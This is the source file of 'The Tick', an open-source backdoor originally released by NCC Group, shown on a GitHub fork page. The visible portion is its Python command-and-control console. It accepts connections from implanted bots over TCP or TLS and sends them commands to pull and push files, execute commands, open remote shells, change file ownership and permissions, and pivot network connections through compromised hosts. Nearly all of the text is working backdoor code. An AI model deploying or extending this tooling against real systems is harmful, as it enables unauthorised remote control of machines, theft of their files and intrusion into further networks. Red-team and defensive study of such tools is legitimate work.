forked from nccgroup/thetick
-
Notifications
You must be signed in to change notification settings - Fork 2
/
tick.py
executable file
·3165 lines (2688 loc) · 114 KB
/
tick.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf8 -*-
"""
The Tick, a simple backdoor for servers and embedded systems.
Developed by Mario Vilas, [email protected]
http://www.github.com/MarioVilas/thetick
Originally released as open source by NCC Group Plc - http://www.nccgroup.com/
http://www.github.com/nccgroup/thetick
See the LICENSE file for further details.
"""
# Our version.
TICK_VERSION = (0, 2)
# Minimum Python version required.
MIN_PYTHON = (3, 8)
##############################################################################
# Imports and other module initialization.
# Check the version of Python.
# We must do this before anything else.
import sys
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required." % MIN_PYTHON)
# This namespace is pretty cluttered so make sure
# "from tick import *" doesn't make too much of a mess.
__all__ = [
# The main class and function.
"Console",
"main",
# The bot class and its associated exception class.
"Bot",
"BotError",
# The listener class where bots will connect to.
"Listener",
# Various helper classes.
"RemoteShell",
"TCPForward",
"SOCKSProxy",
"FUSEThread",
"FUSEProcess",
"FUSEHandler",
# Useful global variables.
"TICK_VERSION",
"ANSI_ENABLED",
"FUSE_ENABLED",
]
# Standard imports...
import readline
import os
import os.path
import ssl
import posixpath
import ntpath
import code
import errno
# More standard imports...
from socket import *
from struct import *
from select import select
from cmd import Cmd
from shlex import split
from threading import Thread, RLock
from traceback import print_exc
from uuid import UUID
from collections import OrderedDict
from argparse import ArgumentParser
from time import sleep
from functools import wraps
from multiprocessing import Process, Pipe
from subprocess import check_output, check_call, CalledProcessError
from collections import namedtuple
from base64 import b64decode
# This is our first dependency and we check it now so
# we know if we can use colors to show errors later.
try:
from colorama import *
# Disable colors if requested.
#
# Unfortunately this also disables all the other nifty
# console tricks we can do with ANSI escapes too. :(
#
# Note that we have do do this here rather than
# when parsing the command line arguments, since
# several error conditions would happen before that.
# or even withing argparse itself.
if "--no-color" in sys.argv:
ANSI_ENABLED = False
init(wrap = True, strip = True)
else:
ANSI_ENABLED = True
init()
except ImportError:
print("Missing dependency: colorama")
print(" pip install colorama")
exit(1)
# Adds support for colors to argparse. Very important, yes!
try:
from argparse_color_formatter import ColorHelpFormatter
except ImportError:
print("Missing dependency: " + Style.BRIGHT + Fore.RED + "argparse_color_formatter" + Style.RESET_ALL)
print(Style.BRIGHT + Fore.BLUE + " pip install -r requirements.txt" + Style.RESET_ALL)
exit(1)
# ASCII art tables. Of course we need this, why do you ask?
try:
from texttable import Texttable
except ImportError:
print("Missing dependency: "+ Style.BRIGHT + Fore.RED + "texttable" + Style.RESET_ALL)
print(Style.BRIGHT + Fore.BLUE + " pip install -r requirements.txt" + Style.RESET_ALL)
exit(1)
# Ok, this dependency is actually kind of a big deal.
# Still, let's make it optional and just disable the mount command if missing.
# That's because we depend on the distro, as it simply cannot be installed from pip.
try:
from platform import platform
PLATFORM = platform()
if "Ubuntu" in PLATFORM:
APT = "sudo apt install"
elif "Debian" in PLATFORM:
APT = "sudo apt-get install"
elif "Fedora" in PLATFORM:
APT = "dnf install"
elif "CentOS" in PLATFORM:
APT = "yum install"
elif "RedHat" in PLATFORM:
APT = "yum install"
else:
APT = "sudo apt-get install" # we don't know :(
del PLATFORM
except ImportError:
APT = "sudo apt-get install" # should never happen...
try:
import fuse
if not hasattr(fuse, '__version__'):
print("Broken dependency: "+ Style.BRIGHT + Fore.RED + "fuse" + Style.RESET_ALL)
print("It seems to be an old or incompatible version.")
print("We recommend installing the version that comes with your Linux distribution:")
print(Style.BRIGHT + Fore.BLUE + " " + APT + " python3-fuse" + Style.RESET_ALL)
FUSE_ENABLED = False
else:
fuse.fuse_python_api = (0, 2)
FUSE_ENABLED = True
except ImportError:
FUSE_ENABLED = False
print("Missing dependency: "+ Style.BRIGHT + Fore.RED + "fuse" + Style.RESET_ALL)
print(Style.BRIGHT + Fore.BLUE + " " + APT + " python3-fuse" + Style.RESET_ALL)
del APT
##############################################################################
# Some good old blobs. Nothing says "trust this code and run it" like blobs.
# Boring banner :(
BORING_BANNER = b64decode("""
G1szMm0bWzFt4pWU4pWm4pWXG1syMm3ilKwg4pSs4pSM4pSA4pSQICAbWzFt4pWU4pWm4pWXG1sy
Mm3ilKzilIzilIDilJDilKzilIzilIAbWzBtChtbMzJtG1sxbSDilZEgG1syMm3ilJzilIDilKTi
lJzilKQgICAbWzFtIOKVkSAbWzIybeKUguKUgiAg4pSc4pS04pSQG1swbQobWzMybRtbMW0g4pWp
IBtbMjJt4pS0IOKUtOKUlOKUgOKUmCAgG1sxbSDilakgG1syMm3ilLTilJTilIDilJjilLQg4pS0
G1swbQo=
""").decode("utf8")
# Fun banner :)
FUN_BANNER = b64decode("""
ChtbMzFtG1sxbeKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiBtbMjJt4paTIBtbMW3ilojilogbWzIy
beKWkSAbWzFt4paI4paIG1syMm0g4paTG1sxbeKWiOKWiOKWiOKWiOKWiCAgICDiloTiloTiloTi
lojilojilojilojilogbWzIybeKWkyAbWzFt4paI4paIG1syMm3ilpMgG1sxbeKWhOKWiOKWiOKW
iOKWiOKWhCAgIOKWiOKWiCDiloTilojiloAbWzIybQobWzIybeKWkyAgG1sxbeKWiOKWiBtbMjJt
4paSIOKWk+KWkuKWkxtbMW3ilojilogbWzIybeKWkSAbWzFt4paI4paIG1syMm3ilpLilpMbWzFt
4paIG1syMm0gICAbWzFt4paAG1syMm0gICAg4paTICAbWzFt4paI4paIG1syMm3ilpIg4paT4paS
4paTG1sxbeKWiOKWiBtbMjJt4paS4paSG1sxbeKWiOKWiOKWgCDiloDiloggICDilojilojiloTi
logbWzIybeKWkiAbWzIybQobWzIybeKWkiDilpMbWzFt4paI4paIG1syMm3ilpEg4paS4paR4paS
G1sxbeKWiOKWiOKWgOKWgOKWiOKWiBtbMjJt4paR4paSG1sxbeKWiOKWiOKWiBtbMjJtICAgICAg
4paSIOKWkxtbMW3ilojilogbWzIybeKWkSDilpLilpHilpIbWzFt4paI4paIG1syMm3ilpLilpIb
WzFt4paT4paIICAgIOKWhCDilpPilojilojilojiloQbWzIybeKWkSAbWzIybQobWzIybeKWkSDi
lpMbWzFt4paI4paIG1syMm3ilpMg4paRIOKWkRtbMW3ilpPilogbWzIybSDilpEbWzFt4paI4paI
G1syMm0g4paS4paTG1sxbeKWiCAg4paEG1syMm0gICAg4paRIOKWkxtbMW3ilojilogbWzIybeKW
kyDilpEg4paRG1sxbeKWiOKWiBtbMjJt4paR4paSG1sxbeKWk+KWk+KWhCDiloTilojilojilpLi
lpMbWzFt4paI4paIIOKWiOKWhCAbWzIybQobWzIybSAg4paS4paIG1sxbeKWiBtbMjJt4paSIOKW
kSDilpEbWzFt4paT4paI4paSG1syMm3ilpHilogbWzFt4paIG1syMm3ilpPilpHilpIbWzFt4paI
4paI4paI4paIG1syMm3ilpIgICAgIOKWkuKWiBtbMW3ilogbWzIybeKWkiDilpEg4paRG1sxbeKW
iOKWiBtbMjJt4paR4paSIBtbMW3ilpPilojilojilojiloAbWzIybSDilpHilpLilogbWzFt4paI
G1syMm3ilpIgG1sxbeKWiOKWhBtbMjJtChtbMjJtICDilpIg4paR4paRICAgIBtbMW3ilpIbWzIy
bSDilpHilpEbWzFt4paS4paR4paSG1syMm3ilpHilpEg4paS4paRIOKWkSAgICAg4paSIOKWkeKW
kSAgIOKWkRtbMW3ilpMbWzIybSAg4paRIOKWkeKWkiDilpIgIOKWkeKWkiDilpLilpIgG1sxbeKW
kxtbMjJt4paSG1syMm0KG1syMm0gICAg4paRICAgICDilpIg4paR4paS4paRIOKWkSDilpEg4paR
ICDilpEgICAgICAg4paRICAgICDilpIg4paRICDilpEgIOKWkiAgIOKWkSDilpHilpIg4paS4paR
G1syMm0KG1syMm0gIOKWkSAgICAgICAbWzJt4paRG1syMm0gIOKWkeKWkSDilpEgICAbWzJt4paR
G1syMm0gICAgICAgIOKWkSAgICAgICDilpIg4paR4paRICAgICAgICAbWzJt4paRG1syMm0g4paR
4paRIBtbMm3ilpEbWzIybSAbWzIybQobWzJtICAgICAgICAgIOKWkSAg4paRICDilpEgICDilpEg
IOKWkSAgICAgICAgICAgICDilpEgIBtbMjJt4paRG1sybSDilpEgICAgICDilpEgIOKWkSAgIBtb
MjJtChtbMm0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4paRICAgICAg
ICAgICAgICAgG1syMm0KG1swbQ==
""").decode("utf8")
##############################################################################
# Custom TCP protocol definitions and helper functions.
# Base command IDs per category.
BASE_CMD_SYSTEM = 0x0000
BASE_CMD_FILE = 0x0100
BASE_CMD_NET = 0x0200
# No operation command.
CMD_NOP = 0xFFFF
# System commands.
CMD_SYSTEM_EXIT = BASE_CMD_SYSTEM + 0
CMD_SYSTEM_FORK = BASE_CMD_SYSTEM + 1
CMD_SYSTEM_SHELL = BASE_CMD_SYSTEM + 2
# File I/O commands.
CMD_FILE_PULL = BASE_CMD_FILE + 0 # formerly CMD_FILE_READ
CMD_FILE_PUSH = BASE_CMD_FILE + 1 # formerly CMD_FILE_WRITE
CMD_FILE_UNLINK = BASE_CMD_FILE + 2 # formerly CMD_FILE_DELETE
CMD_FILE_EXEC = BASE_CMD_FILE + 3
CMD_FILE_CHMOD = BASE_CMD_FILE + 4
CMD_FILE_OPEN = BASE_CMD_FILE + 5 # the following were added in v0.2
CMD_FILE_READ = BASE_CMD_FILE + 6
CMD_FILE_WRITE = BASE_CMD_FILE + 7
CMD_FILE_STAT = BASE_CMD_FILE + 8
CMD_FILE_READDIR = BASE_CMD_FILE + 9
CMD_FILE_READLINK = BASE_CMD_FILE + 10
CMD_FILE_SYMLINK = BASE_CMD_FILE + 11
CMD_FILE_LINK = BASE_CMD_FILE + 12
CMD_FILE_RMDIR = BASE_CMD_FILE + 13
CMD_FILE_MKDIR = BASE_CMD_FILE + 14
CMD_FILE_CHOWN = BASE_CMD_FILE + 15
CMD_FILE_ACCESS = BASE_CMD_FILE + 16
CMD_FILE_STATVFS = BASE_CMD_FILE + 17
CMD_FILE_TRUNCATE = BASE_CMD_FILE + 18
# Network commands.
#CMD_HTTP_DOWNLOAD = BASE_CMD_NET + 0 # deprecated in v0.2
CMD_DNS_RESOLVE = BASE_CMD_NET + 1
CMD_TCP_PIVOT = BASE_CMD_NET + 2
# Response codes.
CMD_STATUS_OK = 0x00
CMD_STATUS_ERROR = 0xFF
# Response structure for the file_stat call.
RESP_FILE_STAT = namedtuple('RESP_FILE_STAT', ('dev', 'ino', 'mode', 'nlink', 'uid', 'gid', 'rdev', 'size', 'blksize', 'blocks', 'atime', 'mtime', 'ctime'))
# Response structure for the file_statvfs call.
RESP_FILE_STATVFS = namedtuple('RESP_FILE_STATVFS', ('type', 'bsize', 'blocks', 'bfree', 'bavail', 'files', 'ffree', 'fsid', 'namelen', 'frsize', 'flags'))
# TCP pivot structure for IPv4.
# typedef struct // (all values below in network byte order)
# {
# uint32_t ip; // IP address to connect to
# uint16_t port; // TCP port to connect to
# uint16_t from_port; // Optional TCP port to connect from
# } CMD_TCP_PIVOT_ARGS;
def build_pivot_struct(ip, port, from_port = 0):
return inet_aton(ip) + pack("!HH", port, from_port)
# Command header.
# typedef struct
# {
# uint16_t cmd_id; // Command ID, one of the CMD_* constants
# uint16_t cmd_len; // Small data size, to be read in memory while parsing
# uint32_t data_len; // Big data size, to be read by command implementations
# } CMD_HEADER;
# Build the command header structure.
def build_command(cmd_id, cmd = b"", data = b""):
cmd_len = len(cmd)
try:
data_len = len(data)
except TypeError:
data_len = data
data = b""
return pack("!HHL", cmd_id, cmd_len, data_len) + cmd + data
# Response header.
# typedef struct
# {
# uint8_t status; // Status code (OK or error)
# uint32_t data_len; // Big data size
# } RESP_HEADER;
# Get only the response header from the socket.
# Data following the header must be read separately.
def get_resp_header(sock):
header = sock.recv(5)
if len(header) != 5:
raise BotError("disconnected")
status, data_len = unpack("!BL", header)
if status == CMD_STATUS_ERROR:
msg = b""
if data_len > 0:
msg = recvall(sock, data_len)
if len(msg) != data_len:
raise BotError("disconnected")
raise BotError(msg.decode("utf8"))
return data_len
# Skip bytes coming from the bot we don't actually need to read.
def skip_bytes(sock, count):
while count > 0:
num_bytes = len(sock.recv(count))
if num_bytes == 0:
raise BotError("disconnected")
count = count - num_bytes
# Get the response header and ignore the response data.
# We'll use this for commands that don't require a response;
# that way even if the bot sends data we don't expect, the
# protocol won't break. Future compatibility FTW :)
def get_resp_no_data(sock):
data_len = get_resp_header(sock)
skip_bytes(sock, data_len)
# Read a fixed size block of data from a socket.
# Caller must ensure to check for errors.
def recvall(sock, count):
buffer = b""
while len(buffer) < count:
tmp = sock.recv(min(65536, count - len(buffer)))
if not tmp:
break
buffer = buffer + tmp
return buffer
# Get the response header and the data, all together.
# We'll use this only for responses we assume have a reasonable
# amount of response data. TODO: perhaps make sure this is
# the case somehow - not too worried about this anyway.
def get_resp_with_data(sock):
data_len = get_resp_header(sock)
data = recvall(sock, data_len)
if len(data) != data_len:
raise BotError("disconnected")
return data
# Copy a fixed amount of bytes from one file descriptor to another.
# If the data runs out before the operation is over, we fail silently.
# TODO: it'd be best to handle this error case too, but we must review
# how to do it specifically for each case.
def copy_stream(src, dst, count):
while count > 0:
buffer = src.read(min(65536, count))
if not buffer:
raise OSError("broken pipe")
count = count - len(buffer)
dst.write(buffer)
##############################################################################
# C&C server over a custom TCP protocol.
# This class is exported by the module so we can
# have C&C servers decoupled from the console UI.
# Well, in theory. One day. We'll see.
class Listener(Thread):
"Listener C&C for The Tick bots."
# Supported ciphers in order of preference.
CIPHERS = [
'ECDHE-RSA-AES128-GCM-SHA256',
'ECDHE-ECDSA-AES128-GCM-SHA256',
'ECDHE-RSA-AES256-GCM-SHA384',
'ECDHE-ECDSA-AES256-GCM-SHA384',
'DHE-RSA-AES128-GCM-SHA256',
'DHE-DSS-AES128-GCM-SHA256',
'kEDH+AESGCM',
'ECDHE-RSA-AES128-SHA256',
'ECDHE-ECDSA-AES128-SHA256',
'ECDHE-RSA-AES128-SHA',
'ECDHE-ECDSA-AES128-SHA',
'ECDHE-RSA-AES256-SHA384',
'ECDHE-ECDSA-AES256-SHA384',
'ECDHE-RSA-AES256-SHA',
'ECDHE-ECDSA-AES256-SHA',
'DHE-RSA-AES128-SHA256',
'DHE-RSA-AES128-SHA',
'DHE-DSS-AES128-SHA256',
'DHE-RSA-AES256-SHA256',
'DHE-DSS-AES256-SHA',
'DHE-RSA-AES256-SHA',
'!aNULL',
'!eNULL',
'!EXPORT',
'!DES',
'!RC4',
'!3DES',
'!MD5',
'!PSK'
]
def __init__(self, callback, bind_addr = "0.0.0.0", port = 5555, ssl_port = 6666, keyfile = None, certfile = None):
# True when running, False when shutting down.
self.alive = False
# Callback to be invoked every time a new bot connects.
# The callback will receive two arguments, the listener
# itself and the bot that just connected.
self.callback = callback
# Bind address and ports.
self.bind_addr = bind_addr
self.port = port
self.ssl_port = ssl_port
# Listening sockets.
self.listen_sock = None
self.ssl_listen_sock = None
# SSL configuration.
self.keyfile = keyfile
self.certfile = certfile
# Ordered dictionary with the bots that connected.
# It will become apparent why we're using an ordered dict
# instead of a regular dict once you read the source code
# to the Console class.
self.bots = OrderedDict()
# Call the parent class constructor.
super(Listener, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# Context manager to ensure all the sockets are closed on exit.
# The bind and listen code is here to make sure its use is mandatory.
def __enter__(self):
self.listen_sock = socket()
self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.listen_sock.bind((self.bind_addr, self.port))
self.listen_sock.listen(5)
if self.keyfile and self.certfile:
self.ssl_listen_sock = socket()
self.ssl_listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.ssl_listen_sock.bind((self.bind_addr, self.ssl_port))
self.ssl_listen_sock.listen(5)
return self
# Context manager to ensure all the sockets are closed on exit,
# the "running" flag is set to False, and the "bots" dictionary
# is cleared.
def __exit__(self, *args):
self.alive = False
if self.listen_sock is not None:
try:
self.listen_sock.shutdown(2)
except Exception:
pass
try:
self.listen_sock.close()
except Exception:
pass
self.listen_sock = None
if self.ssl_listen_sock is not None:
try:
self.ssl_listen_sock.shutdown(2)
except Exception:
pass
try:
self.ssl_listen_sock.close()
except Exception:
pass
self.ssl_listen_sock = None
for bot in list(self.bots.values()):
if bot.sock is not None:
try:
bot.sock.shutdown(2)
except Exception:
pass
try:
bot.sock.close()
except Exception:
pass
bot.sock = None
self.bots.clear()
# This method is invoked in a background thread.
# It receives incoming bot connetions and invokes the callback.
def run(self):
# Sanity check.
if self.alive:
return
# We are running now! Yay! \o/
self.alive = True
# Use the context manager to ensure all resources are freed.
with self:
# Loop until we are signaled to stop.
while self.alive:
try:
# Accept an incoming bot connection.
# This is a blocking call and the background
# thread will spend most of the time stuck here.
socks = [s for s in (self.listen_sock, self.ssl_listen_sock) if s is not None]
socks, _, _ = select(socks, [], [])
for s in socks:
sock, from_addr = s.accept()
try:
# Uh-oh, someone asked us to stop, so quit now.
if not self.alive:
try:
sock.shutdown(2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
break
# If it's the SSL port, initiate SSL.
if s is self.ssl_listen_sock:
sock = ssl.wrap_socket(sock,
server_side = True,
ssl_version = ssl.PROTOCOL_TLSv1_2,
do_handshake_on_connect = True,
keyfile = self.keyfile,
certfile = self.certfile,
ciphers = ':'.join(self.CIPHERS)
)
# The first 16 bytes that come from the socket
# must be the bot UUID value. This value is
# generated randomly by the bot when starting up.
# It DOES NOT identify the target machine, but
# rather the bot instance, so multiple instances
# on the same machine will have different UUIDs.
uuid = recvall(sock, 16)
if len(uuid) != 16:
continue
uuid = str(UUID(bytes = uuid))
# Instance a Bot object for this new connection.
bot = Bot(sock, uuid, from_addr)
# Keep it in the ordered dictionary. This means
# the dictionary will remember the order in which
# the bots connected. This is useful for the Console
# class later on.
self.bots[uuid] = bot
# On error make sure to destroy the accepted socket.
except:
try:
sock.shutdown(2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
raise
# Invoke the callback function to notify
# a new bot has connected to the C&C.
try:
self.callback(self, bot)
except Exception:
print_exc()
# Ignore exceptions and continue running.
except Exception:
##print_exc() ## XXX DEBUG
pass
# The accept() call is a bit particular in Python,
# we can't just close the socket and call it a day.
# This resulted in stubborn listener threads who simply
# refused to die... extreme measures had to be taken. ;)
def kill(self):
"Forcefully kill the background thread."
# Trivial case.
if not self.alive:
return
# Set the flag to false so the thread
# knows we are asking it to quit.
self.alive = False
# Connect briefly to the listnening port.
# This will "wake up" the thread stuck
# in the blocking socket accept() call.
s = socket()
try:
s.connect(("127.0.0.1", self.port))
finally:
s.close()
##############################################################################
# How to talk to connected bots.
# Class for all bot related exceptions.
class BotError(RuntimeError):
"The Tick bot error message."
# This decorator will do some basic checks on bot actions.
# It also catches some error conditions such as the bot being disconnected
# or the user canceling the operation with Control+C.
def bot_action(method):
@wraps(method)
def wrapper(self, *args, **kwds):
if not self.alive:
raise Exception("internal error")
try:
return method(self, *args, **kwds)
except KeyboardInterrupt:
self.alive = False
try:
self.sock.shutdown(2)
except:
pass
try:
self.sock.close()
except:
pass
raise BotError("disconnected")
except BotError as e:
if str(e) == "disconnected":
self.alive = False
raise
return wrapper
# This class is not exported because I don't see a real reason
# for a user of this module to manually instance Bot objects.
class Bot:
"The Tick bot instance."
def __init__(self, sock, uuid, from_addr):
# True if we can send commands to this instance, False otherwise.
# False could either mean the bot is dead or the socket is being
# used for something else, since some commands reuse the C&C socket.
self.alive = True
# The C&C socket to talk to this bot.
self.sock = sock
# True if the bot is connected over SSL, False otherwise.
self.encrypted = isinstance(sock, ssl.SSLSocket)
# The UUID for this bot instance.
# See Listener.run() for more details.
self.uuid = uuid
# IP address and remote port where the connection came from.
#
# The IP address may not be correct if the bot is behind a NAT.
# You can run the file_exec command to figure out the real IP.
# Use your imagination. ;)
#
# The port is not terribly useful right now, but when we add
# support for having the bot listen on a port rather than
# connect to us, this may come in handy.
self.from_addr = from_addr
# Useful for debugging.
def __repr__(self):
return "<Bot uuid=%s ip=%s port=%d connected=%s>" % (
self.uuid, self.from_addr[0], self.from_addr[1],
"yes" if self.alive else "no"
)
#
# The remainder of this class are the supported commands.
# The code is pretty straightforward so I did not comment it.
#
@bot_action
def nop(self):
self.sock.sendall( build_command(CMD_NOP) )
get_resp_no_data(self.sock)
@bot_action
def system_exit(self):
self.sock.sendall( build_command(CMD_SYSTEM_EXIT) )
get_resp_no_data(self.sock)
self.alive = False
@bot_action
def system_fork(self):
self.sock.sendall( build_command(CMD_SYSTEM_FORK) )
uuid_bytes = get_resp_with_data(self.sock)
if uuid_bytes:
return str(UUID(bytes=uuid_bytes))
return
@bot_action
def system_shell(self):
self.sock.sendall( build_command(CMD_SYSTEM_SHELL) )
get_resp_no_data(self.sock)
self.alive = False
return self.sock
@bot_action
def file_pull(self, remote_file, local_file):
self.sock.sendall( build_command(CMD_FILE_PULL, bytes(remote_file + "\0", encoding="utf8")) )
data_len = get_resp_header(self.sock)
with open(local_file, "wb") as fd:
copy_stream(self.sock.makefile(mode="rb", buffering=0), fd, data_len)
@bot_action
def file_push(self, local_file, remote_file):
with open(local_file, "rb") as fd:
fd.seek(0, 2)
file_size = fd.tell()
fd.seek(0, 0)
self.sock.sendall( build_command(CMD_FILE_PUSH, bytes(remote_file + "\0", encoding="utf8"), file_size) )
copy_stream(fd, self.sock.makefile(mode="wb", buffering=0), file_size)
get_resp_no_data(self.sock)
@bot_action
def file_unlink(self, remote_file):
self.sock.sendall( build_command(CMD_FILE_UNLINK, bytes(remote_file + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_exec(self, command_line):
self.sock.sendall( build_command(CMD_FILE_EXEC, bytes(command_line + "\0", encoding="utf8")) )
return get_resp_with_data(self.sock)
@bot_action
def file_chmod(self, remote_file, mode_flags = 0o777):
self.sock.sendall( build_command(CMD_FILE_CHMOD, pack("!H", mode_flags) + bytes(remote_file + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_open(self, remote_file, flags = os.O_RDWR, mode = 0o777):
self.sock.sendall( build_command(CMD_FILE_OPEN, pack("!H", flags) + pack("!H", mode) + bytes(remote_file + "\0", encoding="utf8")) )
resp = get_resp_with_data(self.sock)
return unpack("!H", resp)[0]
@bot_action
def file_read(self, remote_file, size, offset = 0):
self.sock.sendall( build_command(CMD_FILE_READ, pack("!L", size) + pack("!Q", offset) + bytes(remote_file + "\0", encoding="utf8")) )
return get_resp_with_data(self.sock)
@bot_action
def file_write(self, remote_file, data, offset = 0):
self.sock.sendall( build_command(CMD_FILE_WRITE, pack("!Q", offset) + bytes(remote_file + "\0", encoding="utf8"), data) )
get_resp_no_data(self.sock)
return len(data)
@bot_action
def file_truncate(self, remote_file, offset = 0):
self.sock.sendall( build_command(CMD_FILE_TRUNCATE, pack("!Q", offset) + bytes(remote_file + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_stat(self, remote_path):
self.sock.sendall( build_command(CMD_FILE_STAT, bytes(remote_path + "\0", encoding="utf8")) )
data = get_resp_with_data(self.sock)
return RESP_FILE_STAT(*(unpack("!QQQQQQQQQQQQQ", data)))
@bot_action
def file_readdir(self, remote_path):
self.sock.sendall( build_command(CMD_FILE_READDIR, bytes(remote_path + "\0", encoding="utf8")) )
data = get_resp_with_data(self.sock)
data = [x for x in data.split(b"\0") if x]
return data
@bot_action
def file_readlink(self, remote_file):
self.sock.sendall( build_command(CMD_FILE_READLINK, bytes(remote_file + "\0", encoding="utf8")) )
return get_resp_with_data(self.sock)
@bot_action
def file_symlink(self, linkname, target):
self.sock.sendall( build_command(CMD_FILE_SYMLINK, bytes(linkname + "\0", encoding="utf8"), bytes(target + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_link(self, linkname, target):
self.sock.sendall( build_command(CMD_FILE_LINK, bytes(linkname + "\0", encoding="utf8"), bytes(target + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_rmdir(self, remote_path):
self.sock.sendall( build_command(CMD_FILE_RMDIR, bytes(remote_path + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_mkdir(self, remote_path, mode = 0o777):
self.sock.sendall( build_command(CMD_FILE_MKDIR, pack("!H", mode) + bytes(remote_path + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_chown(self, remote_file, uid = 0, gid = 0):
self.sock.sendall( build_command(CMD_FILE_CHOWN, pack("!L", uid) + pack("!L", gid) + bytes(remote_file + "\0", encoding="utf8")) )
get_resp_no_data(self.sock)
@bot_action
def file_access(self, remote_file, mode_flags = 0):
#define R_OK 4 /* Test for read permission. */
#define W_OK 2 /* Test for write permission. */
#define X_OK 1 /* Test for execute permission. */
#define F_OK 0 /* Test for existence. */
self.sock.sendall( build_command(CMD_FILE_ACCESS, pack("!H", mode_flags) + bytes(remote_file + "\0", encoding="utf8")) )
try:
get_resp_no_data(self.sock)
return True
except BotError as e:
if str(e) == "":
return False
raise
@bot_action
def file_statvfs(self, remote_path):
self.sock.sendall( build_command(CMD_FILE_STATVFS, bytes(remote_path + "\0", encoding="utf8")) )
data = get_resp_with_data(self.sock)
left = data[:7*8]
middle = data[7*8:9*8]
right = data[9*8:]
joined = []
joined.extend(unpack("!QQQQQQQ", left))
joined.append(middle)
joined.extend(unpack("!QQQ", right))
return RESP_FILE_STATVFS(*joined)
@bot_action
def dns_resolve(self, domain):
self.sock.sendall( build_command(CMD_DNS_RESOLVE, bytes(domain + "\0", encoding="utf8")) )
response = get_resp_with_data(self.sock)
answer = []
while response:
family = response[0] # automatic conversion to integer
if family == AF_INET:
addr = response[1:5]
response = response[5:]
